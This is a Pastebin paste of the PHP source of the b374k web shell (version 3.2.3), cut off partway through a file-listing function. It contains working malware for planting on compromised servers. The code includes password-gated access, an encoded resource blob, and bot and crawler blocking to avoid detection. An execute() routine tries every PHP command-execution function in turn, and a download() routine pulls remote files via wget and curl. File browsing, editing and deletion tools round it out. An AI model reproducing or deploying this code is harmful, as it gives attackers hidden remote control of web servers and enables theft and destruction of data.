SHARE
TWEET

Untitled

a guest May 27th, 2018 50 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /*
  3.     b374k shell 3.2.3
  4.     Jayalah Indonesiaku
  5.     (c)2014
  6.     https://github.com/b374k/b374k
  7.  
  8. */
  9. $GLOBALS['pass'] = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // sha1(md5(pass))
  10. $GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/Ak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TLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";
  13. $GLOBALS['ver'] = "3.2.3";
  14. $GLOBALS['title'] = "b374k";
  15.  
  16. @ob_start();
  17. error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
  18. @ini_set('html_errors','0');
  19. @ini_set('display_errors','1');
  20. @ini_set('display_startup_errors','1');
  21. @ini_set('log_errors','0');
  22. @set_time_limit(0);
  23. @clearstatcache();
  24.  
  25. if(!function_exists('auth')){
  26.     function auth(){
  27.         if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){
  28.             $c = $_COOKIE;
  29.             $p = $_POST;
  30.             if(isset($p['pass'])){
  31.                 $your_pass = sha1(md5($p['pass']));
  32.                 if($your_pass==$GLOBALS['pass']){
  33.                     setcookie("pass", $your_pass, time()+36000, "/");
  34.                     header("Location: ".get_self());
  35.                 }
  36.             }
  37.  
  38.             if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){
  39.                 $res = "<!doctype html>
  40.         <html>
  41.         <head>
  42.         <meta charset='utf-8'>
  43.         <meta name='robots' content='noindex, nofollow, noarchive'>
  44.         <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'>
  45.         </head>
  46.         <body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><br><p><center><noscript>You need to enable javascript</noscript></center></p>
  47.         <script type='text/javascript'>
  48.         var d = document;
  49.         d.write(\"<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\");
  50.         d.getElementById('pass').focus();
  51.         d.getElementById('pass').setAttribute('autocomplete', 'off');
  52.         </script>
  53.         </body></html>
  54.         ";
  55.                 echo $res;
  56.                 die();
  57.             }
  58.         }
  59.     }
  60. }
  61.  
  62. if(!function_exists('get_server_info')){
  63.     function get_server_info(){
  64.         $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
  65.         $server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
  66.         $server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time());
  67.         $server_info['uname'] = php_uname();
  68.         $server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
  69.         $server_info['software'] = $server_software."  PHP ".phpversion();     
  70.         return $server_info;
  71.     }
  72. }
  73.  
  74. if(!function_exists('get_self')){
  75.     function get_self(){
  76.         $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
  77.         return html_safe($_SERVER["REQUEST_URI"].$query);
  78.     }
  79. }
  80.  
  81. if(!function_exists('get_post')){
  82.     function get_post(){
  83.         return fix_magic_quote($_POST);
  84.     }
  85. }
  86.  
  87. if(!function_exists('get_nav')){
  88.     function get_nav($path){
  89.         return parse_dir($path);
  90.     }
  91. }
  92.  
  93. if(!function_exists('get_cwd')){
  94.     function get_cwd(){
  95.         $cwd = getcwd().DIRECTORY_SEPARATOR;
  96.         if(!isset($_COOKIE['cwd'])){
  97.             setcookie("cwd", $cwd);
  98.         }
  99.         else{
  100.             $cwd_c = rawurldecode($_COOKIE['cwd']);
  101.             if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
  102.             else setcookie("cwd", $cwd);
  103.         }
  104.         return $cwd;
  105.     }
  106. }
  107.  
  108. if(!function_exists('wrap_with_quotes')){
  109.     function wrap_with_quotes($str){
  110.         return "\"".$str."\"";
  111.     }
  112. }
  113.  
  114. if(!function_exists('get_resource')){
  115.     function get_resource($type){
  116.         if(isset($GLOBALS['resources'][$type])){
  117.             return gzinflate(base64_decode($GLOBALS['resources'][$type]));
  118.         }
  119.         return false;
  120.     }
  121. }
  122.  
  123. if(!function_exists('block_bot')){
  124.     function block_bot(){
  125.         // block search engine bot
  126.         if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
  127.             header("HTTP/1.0 404 Not Found");
  128.             header("Status: 404 Not Found");
  129.             die();
  130.         }
  131.         elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
  132.             header("HTTP/1.0 404 Not Found");
  133.             header("Status: 404 Not Found");
  134.             die();
  135.         }
  136.     }
  137. }
  138.  
  139. if(!function_exists('is_win')){
  140.     function is_win(){
  141.         return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
  142.     }
  143. }
  144.  
  145. if(!function_exists('fix_magic_quote')){
  146.     function fix_magic_quote($arr){
  147.         $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
  148.         if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
  149.             if(is_array($arr)){
  150.                 foreach($arr as $k=>$v){
  151.                     if(is_array($v)) $arr[$k] = clean($v);
  152.                     else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  153.                 }
  154.             }
  155.         }
  156.         return $arr;
  157.     }
  158. }
  159.  
  160. if(!function_exists('execute')){
  161.     function execute($code){
  162.         $output = "";
  163.         $code = $code." 2>&1";
  164.  
  165.         if(is_callable('system') && function_exists('system')){
  166.             ob_start();
  167.             @system($code);
  168.             $output = ob_get_contents();
  169.             ob_end_clean();
  170.             if(!empty($output)) return $output;
  171.         }
  172.         elseif(is_callable('shell_exec') && function_exists('shell_exec')){
  173.             $output = @shell_exec($code);
  174.             if(!empty($output)) return $output;
  175.         }
  176.         elseif(is_callable('exec') && function_exists('exec')){
  177.             @exec($code,$res);
  178.             if(!empty($res)) foreach($res as $line) $output .= $line;
  179.             if(!empty($output)) return $output;
  180.         }
  181.         elseif(is_callable('passthru') && function_exists('passthru')){
  182.             ob_start();
  183.             @passthru($code);
  184.             $output = ob_get_contents();
  185.             ob_end_clean();
  186.             if(!empty($output)) return $output;
  187.         }
  188.         elseif(is_callable('proc_open') && function_exists('proc_open')){
  189.             $desc = array(
  190.                 0 => array("pipe", "r"),
  191.                 1 => array("pipe", "w"),
  192.                 2 => array("pipe", "w"));
  193.             $proc = @proc_open($code, $desc, $pipes, getcwd(), array());
  194.             if(is_resource($proc)){
  195.                 while($res = fgets($pipes[1])){
  196.                     if(!empty($res)) $output .= $res;
  197.                 }
  198.                 while($res = fgets($pipes[2])){
  199.                     if(!empty($res)) $output .= $res;
  200.                 }
  201.             }
  202.             @proc_close($proc);
  203.             if(!empty($output)) return $output;
  204.         }
  205.         elseif(is_callable('popen') && function_exists('popen')){
  206.             $res = @popen($code, 'r');
  207.             if($res){
  208.                 while(!feof($res)){
  209.                     $output .= fread($res, 2096);
  210.                 }
  211.                 pclose($res);
  212.             }
  213.             if(!empty($output)) return $output;
  214.         }
  215.         return "";
  216.     }
  217. }
  218.  
  219. if(!function_exists('html_safe')){
  220.     function html_safe($str){
  221.         return htmlspecialchars($str, 2 | 1);
  222.     }
  223. }
  224.  
  225. if(!function_exists('parse_dir')){
  226.     function parse_dir($path){
  227.         $path = realpath($path).DIRECTORY_SEPARATOR;
  228.         $paths = explode(DIRECTORY_SEPARATOR, $path);
  229.         $res = "";
  230.         for($i = 0; $i < sizeof($paths)-1; $i++){
  231.             $x = "";
  232.             for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
  233.             $res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>";
  234.         }
  235.         if(is_win()) $res = get_drives().$res;
  236.         return trim($res);
  237.     }
  238. }
  239.  
  240. if(!function_exists('zip')){
  241.     function zip($files, $archive){
  242.         $status = false;
  243.         if(!extension_loaded('zip')) return $status;
  244.         if(class_exists("ZipArchive")){
  245.             $zip = new ZipArchive();
  246.             if(!$zip->open($archive, 1)) return $status;
  247.  
  248.             if(!is_array($files)) $files = array($files);
  249.             foreach($files as $file){
  250.                 $file = str_replace(get_cwd(), '', $file);
  251.                 $file = str_replace('\\', '/', $file);
  252.                 if(is_dir($file)){
  253.                     $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
  254.                     foreach($filesIterator as $iterator){
  255.                         $iterator = str_replace('\\', '/', $iterator);
  256.                         if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
  257.  
  258.                         if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
  259.                         else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
  260.                     }
  261.                 }
  262.                 elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
  263.             }
  264.             if($zip->getStatusString()!==false) $status = true;
  265.             $zip->close();
  266.         }
  267.         return $status;
  268.     }
  269. }
  270.  
  271. if(!function_exists('compress')){
  272.     function compress($type, $archive, $files){
  273.         if(!is_array($files)) $files = array($files);
  274.         if($type=='zip'){
  275.             if(zip($files, $archive)) return true;
  276.             else return false;
  277.         }
  278.         elseif(($type=='tar')||($type=='targz')){
  279.             $archive = basename($archive);
  280.  
  281.             $listsBasename = array_map("basename", $files);
  282.             $lists = array_map("wrap_with_quotes", $listsBasename);
  283.  
  284.             if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
  285.             elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));
  286.  
  287.             if(is_file($archive)) return true;
  288.             else return false;
  289.         }
  290.         return false;
  291.     }
  292. }
  293.  
  294. if(!function_exists('decompress')){
  295.     function decompress($type, $archive, $path){
  296.         $path = realpath($path).DIRECTORY_SEPARATOR;
  297.         $status = false;
  298.         if(is_dir($path)){
  299.             chdir($path);
  300.             if($type=='unzip'){
  301.                 if(class_exists('ZipArchive')){
  302.                     $zip = new ZipArchive();
  303.                     $target = $path.basename($archive,".zip");
  304.                     if($zip->open($archive)){
  305.                         if(!is_dir($target)) mkdir($target);
  306.                         if($zip->extractTo($target)) $status = true;
  307.                         $zip->close();
  308.                     }
  309.                 }
  310.             }
  311.             elseif($type=='untar'){
  312.                 $target = basename($archive,".tar");
  313.                 if(!is_dir($target)) mkdir($target);
  314.                 $before = count(get_all_files($target));
  315.                 execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
  316.                 $after = count(get_all_files($target));
  317.                 if($before!=$after) $status = true;
  318.  
  319.             }
  320.             elseif($type=='untargz'){
  321.                 $target = "";
  322.                 if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
  323.                 elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");
  324.  
  325.                 if(!is_dir($target)) mkdir($target);
  326.                 $before = count(get_all_files($target));
  327.                 execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
  328.                 $after = count(get_all_files($target));
  329.                 if($before!=$after) $status = true;
  330.             }
  331.         }
  332.         return $status;
  333.     }
  334. }
  335.  
  336. if(!function_exists('download')){
  337.     function download($url ,$saveas){
  338.         if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
  339.         $filename = basename($url);
  340.  
  341.         if($content = read_file($url)){
  342.             if(is_file($saveas)) unlink($saveas);
  343.             if(write_file($saveas, $content)){
  344.                 return true;
  345.             }
  346.         }
  347.  
  348.         $buff = execute("wget ".$url." -O ".$saveas);
  349.         if(is_file($saveas)) return true;
  350.  
  351.         $buff = execute("curl ".$url." -o ".$saveas);
  352.         if(is_file($saveas)) return true;
  353.  
  354.         $buff = execute("lwp-download ".$url." ".$saveas);
  355.         if(is_file($saveas)) return true;
  356.  
  357.         $buff = execute("lynx -source ".$url." > ".$saveas);
  358.         if(is_file($saveas)) return true;
  359.  
  360.         return false;
  361.     }
  362. }
  363.  
  364. if(!function_exists('get_fileperms')){
  365.     function get_fileperms($file){
  366.         if($perms = @fileperms($file)){
  367.         $flag = 'u';
  368.         if(($perms & 0xC000) == 0xC000)$flag = 's';
  369.         elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
  370.         elseif(($perms & 0x8000) == 0x8000)$flag = '-';
  371.         elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
  372.         elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
  373.         elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
  374.         elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
  375.         $flag .= ($perms & 00400)? 'r':'-';
  376.         $flag .= ($perms & 00200)? 'w':'-';
  377.         $flag .= ($perms & 00100)? 'x':'-';
  378.         $flag .= ($perms & 00040)? 'r':'-';
  379.         $flag .= ($perms & 00020)? 'w':'-';
  380.         $flag .= ($perms & 00010)? 'x':'-';
  381.         $flag .= ($perms & 00004)? 'r':'-';
  382.         $flag .= ($perms & 00002)? 'w':'-';
  383.         $flag .= ($perms & 00001)? 'x':'-';
  384.         return $flag;
  385.         }
  386.         else return "???????????";
  387.     }
  388. }
  389.  
  390. if(!function_exists('format_bit')){
  391.     function format_bit($size){
  392.         $base = log($size) / log(1024);
  393.         $suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
  394.         return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
  395.     }
  396. }
  397.  
  398. if(!function_exists('get_filesize')){
  399.     function get_filesize($file){
  400.         $size = @filesize($file);
  401.         if($size!==false){
  402.             if($size<=0) return 0;
  403.             return format_bit($size);
  404.         }
  405.         else return "???";
  406.     }
  407. }
  408.  
  409. if(!function_exists('get_filemtime')){
  410.     function get_filemtime($file){
  411.         return @date("d-M-Y H:i:s", filemtime($file));
  412.     }
  413. }
  414.  
  415. if(!function_exists('get_fileowner')){
  416.     function get_fileowner($file){
  417.         $owner = "?:?";
  418.         if(function_exists("posix_getpwuid")){
  419.             $name = posix_getpwuid(fileowner($file));
  420.             $group = posix_getgrgid(filegroup($file));
  421.             $owner = $name['name'].":".$group['name'];
  422.         }
  423.         return $owner;
  424.     }
  425. }
  426.  
  427. if(!function_exists('rmdirs')){
  428.     function rmdirs($dir, $counter = 0){
  429.         if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
  430.         if($dh = opendir($dir)){
  431.             while(($f = readdir($dh))!==false){
  432.                 if(($f!='.')&&($f!='..')){
  433.                     $f = $dir.$f;
  434.                     if(@is_dir($f)) $counter += rmdirs($f);
  435.                     else{
  436.                         if(unlink($f)) $counter++;
  437.                     }
  438.                 }
  439.             }
  440.             closedir($dh);
  441.             if(rmdir($dir)) $counter++;;
  442.         }
  443.         return $counter;
  444.     }
  445. }
  446.  
  447. if(!function_exists('copys')){
  448.     function copys($source , $target ,$c=0){
  449.         $source = realpath($source).DIRECTORY_SEPARATOR;
  450.         if($dh = opendir($source)){
  451.             if(!is_dir($target)) mkdir($target);
  452.             $target = realpath($target).DIRECTORY_SEPARATOR;
  453.  
  454.             while(($f = readdir($dh))!==false){
  455.                 if(($f!='.')&&($f!='..')){
  456.                     if(is_dir($source.$f)){
  457.                         copys($source.$f, $target.$f, $c);
  458.                     }
  459.                     else{
  460.                         if(copy($source.$f, $target.$f)) $c++;
  461.                     }
  462.                 }
  463.             }
  464.             closedir($dh);
  465.         }
  466.         return $c;
  467.     }
  468. }
  469.  
  470. if(!function_exists('get_all_files')){
  471.     function get_all_files($path){
  472.         $path = realpath($path).DIRECTORY_SEPARATOR;
  473.         $files = glob($path.'*');
  474.         for($i = 0; $i<count($files); $i++){
  475.             if(is_dir($files[$i])){
  476.                 $subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*');
  477.                 if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir);
  478.             }
  479.         }
  480.         return $files;
  481.     }
  482. }
  483.  
  484. if(!function_exists('read_file')){
  485.     function read_file($file){
  486.         $content = false;
  487.         if($fh = @fopen($file, "rb")){
  488.             $content = "";
  489.             while(!feof($fh)){
  490.               $content .= fread($fh, 8192);
  491.             }
  492.         }
  493.         return $content;
  494.     }
  495. }
  496.  
  497. if(!function_exists('write_file')){
  498.     function write_file($file, $content){
  499.         if($fh = @fopen($file, "wb")){
  500.             if(fwrite($fh, $content)!==false) return true;
  501.         }
  502.         return false;
  503.     }
  504. }
  505.  
  506. if(!function_exists('view_file')){
  507.     function view_file($file, $type, $preserveTimestamp='true'){
  508.         $output = "";
  509.         if(is_file($file)){
  510.             $dir = dirname($file);
  511.  
  512.             $owner = "";
  513.             if(!is_win()){
  514.                 $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>";
  515.             }
  516.  
  517.             $image_info = @getimagesize($file);
  518.             $mime_list = get_resource('mime');
  519.             $mime = "";
  520.             $file_ext_pos = strrpos($file, ".");
  521.             if($file_ext_pos!==false){
  522.                 $file_ext = trim(substr($file, $file_ext_pos),".");
  523.                 if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
  524.                     $mime = $res[1];
  525.                 }
  526.             }
  527.             if($type=="auto"){
  528.                 if(is_array($image_info)) $type = 'image';
  529.                 //elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
  530.                 elseif(!empty($mime)) $type = "multimedia";
  531.                 else $type = "raw";
  532.             }
  533.  
  534.             $content = "";
  535.             if($type=="code"){
  536.                 $hl_arr = array(
  537.                             "hl_default"=> ini_get('highlight.default'),
  538.                             "hl_keyword"=> ini_get('highlight.keyword'),
  539.                             "hl_string"=> ini_get('highlight.string'),
  540.                             "hl_html"=> ini_get('highlight.html'),
  541.                             "hl_comment"=> ini_get('highlight.comment')
  542.                             );
  543.                
  544.                
  545.                 $content = highlight_string(read_file($file),true);
  546.                 foreach($hl_arr as $k=>$v){
  547.                     $content = str_replace("<font color=\"".$v."\">", "<font class='".$k."'>", $content);
  548.                     $content = str_replace("<span style=\"color: ".$v."\">", "<span class='".$k."'>", $content);
  549.                 }
  550.             }
  551.             elseif($type=="image"){
  552.                 $width = (int) $image_info[0];
  553.                 $height = (int) $image_info[1];
  554.                 $image_info_h = "Image type = <span class='strong'>(</span> ".$image_info['mime']." <span class='strong'>)</span><br>
  555.                     Image Size = <span class='strong'>( </span>".$width." x ".$height."<span class='strong'> )</span><br>";
  556.                 if($width > 800){
  557.                     $width = 800;
  558.                     $imglink = "<p><a id='viewFullsize'>
  559.                     <span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>";
  560.                 }
  561.                 else $imglink = "";
  562.  
  563.                 $content = "<center>".$image_info_h."<br>".$imglink."
  564.                     <img id='viewImage' style='width:".$width."px;' src='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'></center>
  565.     ";
  566.  
  567.             }
  568.             elseif($type=="multimedia"){
  569.                 $content = "<center>
  570.                             <video controls>
  571.                             <source src='' type='".$mime."'>
  572.  
  573.                             </video>
  574.                             <p><span class='button' onclick=\"multimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p>
  575.                             </center>";
  576.             }
  577.             elseif($type=="edit"){
  578.                 $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
  579.                 $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</textarea></td></tr></table>";
  580.             }
  581.             elseif($type=="hex"){
  582.                 $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
  583.                 $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</textarea></td></tr></table>";
  584.             }
  585.             else $content = "<pre>".html_safe(read_file($file))."</pre>";
  586.  
  587.  
  588.  
  589.             $output .= "
  590.     <table id='viewFile' class='boxtbl'>
  591.     <tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr>
  592.     <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr>
  593.     ".$owner."
  594.     <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr>
  595.     <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr>
  596.     <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr>
  597.     <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr>
  598.     <tr data-path='".html_safe($file)."'><td colspan='2'>
  599.     <span class='navigate button' style='width:120px;'>explorer</span>
  600.     <span class='action button' style='width:120px;'>action</span>
  601.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'raw');hide_box();\">raw</span>
  602.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'code');hide_box();\">code</span>
  603.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'hex');hide_box();\">hex</span>
  604.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'image');hide_box();\">image</span>
  605.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'multimedia');hide_box();\">multimedia</span>
  606.     </td></tr>
  607.     <tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr>
  608.     </table>";
  609.  
  610.  
  611.         }
  612.         else $output = "error";
  613.         return $output;
  614.     }
  615. }
  616.  
  617. if(!function_exists('get_writabledir')){
  618.     function get_writabledir(){
  619.         if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
  620.         else{
  621.             foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
  622.                 if(!empty($_ENV[$k])){
  623.                     if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
  624.                 }
  625.             }
  626.             if(function_exists("sys_get_temp_dir")){
  627.                 $dir = sys_get_temp_dir();
  628.                 if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
  629.             }
  630.             else{
  631.                 if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
  632.             }
  633.  
  634.             $tempfile = tempnam(__FILE__,'');
  635.             if(file_exists($tempfile)){
  636.                 $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
  637.                 unlink($tempfile);
  638.                 return $dir;
  639.             }
  640.         }
  641.         return false;
  642.     }
  643. }
  644.  
  645. if(!function_exists('get_drives')){
  646.     function get_drives(){
  647.         $drives = "";
  648.         $v = explode("\\", get_cwd());
  649.         $v = $v[0];
  650.         foreach (range("A", "Z") as $letter){
  651.             if(@is_readable($letter.":\\")){
  652.                 $drives .= "<a class='navbar' data-path='".$letter.":\\'>[ ";
  653.                 if($letter.":" != $v) $drives .= $letter;
  654.                 else{$drives .= "<span class='drive-letter'>".$letter."</span>";}
  655.                 $drives .= " ]</a> ";
  656.             }
  657.         }
  658.         return $drives;
  659.     }
  660. }
  661.  
  662. if(!function_exists('show_all_files')){
  663.     function show_all_files($path){
  664.         if(!is_dir($path)) return "No such directory : ".$path;
  665.         chdir($path);
  666.         $output = "";
  667.         $allfiles = $allfolders = array();
  668.         if($res = opendir($path)){
  669.             while($file = readdir($res)){
  670.                 if(($file!='.')&&($file!="..")){
  671.                     if(is_dir($file)) $allfolders[] = $file;
  672.                     elseif(is_file($file))$allfiles[] = $file;
  673.                 }
  674.             }
  675.         }
  676.  
  677.         array_unshift($allfolders, ".");
  678.         $cur = getcwd();
  679.         chdir("..");
  680.         if(getcwd()!=$cur) array_unshift($allfolders, "..");
  681.         chdir($cur);
  682.  
  683.         natcasesort($allfolders);
  684.         natcasesort($allfiles);
  685.  
  686.         $cols = array();
  687.         if(is_win()){
  688.             $cols = array(
  689.                     "perms"=>"get_fileperms",
  690.                     "modified"=>"get_filemtime"
  691.                     );
  692.         }
  693.         else{
  694.             $cols = array(
  695.                     "owner"=>"get_fileowner",
  696.                     "perms"=>"get_fileperms",
  697.                     "modified"=>"get_filemtime"
  698.                     );
  699.         }
  700.  
  701.         $totalFiles = count($allfiles);
  702.         $totalFolders = 0;
  703.  
  704.         $output .= "<table id='xplTable' class='dataView sortable'><thead>";
  705.         $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='col-name'>name</th><th class='col-size'>size</th>";
  706.  
  707.         foreach($cols as $k=>$v){
  708.             $output .= "<th class='col-".$k."'>".$k."</th>";
  709.         }
  710.         $output .= "</tr></thead><tbody>";
  711.  
  712.         foreach($allfolders as $d){
  713.             $cboxException = "";
  714.             if(($d==".")||($d=="..")){
  715.                 $action = "actiondot";
  716.                 $cboxException = " cBoxException";
  717.             }
  718.             else{
  719.                 $action = "actionfolder";
  720.                 $totalFolders++;
  721.             }
  722.             $output .= "
  723.     <tr data-path=\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\"><td><div class='cBox".$cboxException."'></div></td>
  724.     <td style='white-space:normal;'><a class='navigate'>[ ".html_safe($d)." ]</a><span class='".$action." floatRight'>action</span></td>
  725.     <td>DIR</td>";
  726.             foreach($cols as $k=>$v){
  727.                 $sortable = "";
  728.                 if($k=='modified') $sortable = " title='".filemtime($d)."'";
  729.                 $output .= "<td".$sortable.">".$v($d)."</td>";
  730.             }
  731.             $output .= "</tr>";
  732.         }
  733.         foreach($allfiles as $f){
  734.             $output .= "
  735.     <tr data-path=\"".html_safe(realpath($f))."\"><td><div class='cBox'></div></td>
  736.     <td style='white-space:normal;'><a class='view'>".html_safe($f)."</a><span class='action floatRight'>action</span></td>
  737.     <td title='".filesize($f)."'>".get_filesize($f)."</td>";
  738.             foreach($cols as $k=>$v){
  739.                 $sortable = "";
  740.                 if($k=='modified') $sortable = " title='".filemtime($f)."'";
  741.                 $output .= "<td".$sortable.">".$v($f)."</td>";
  742.             }
  743.             $output .= "</tr>";
  744.         }
  745.         $output .= "</tbody><tfoot>";
  746.  
  747.         $colspan = 1 + count($cols);
  748.         $output .= "<tr><td><div class='cBoxAll'></div></td><td>
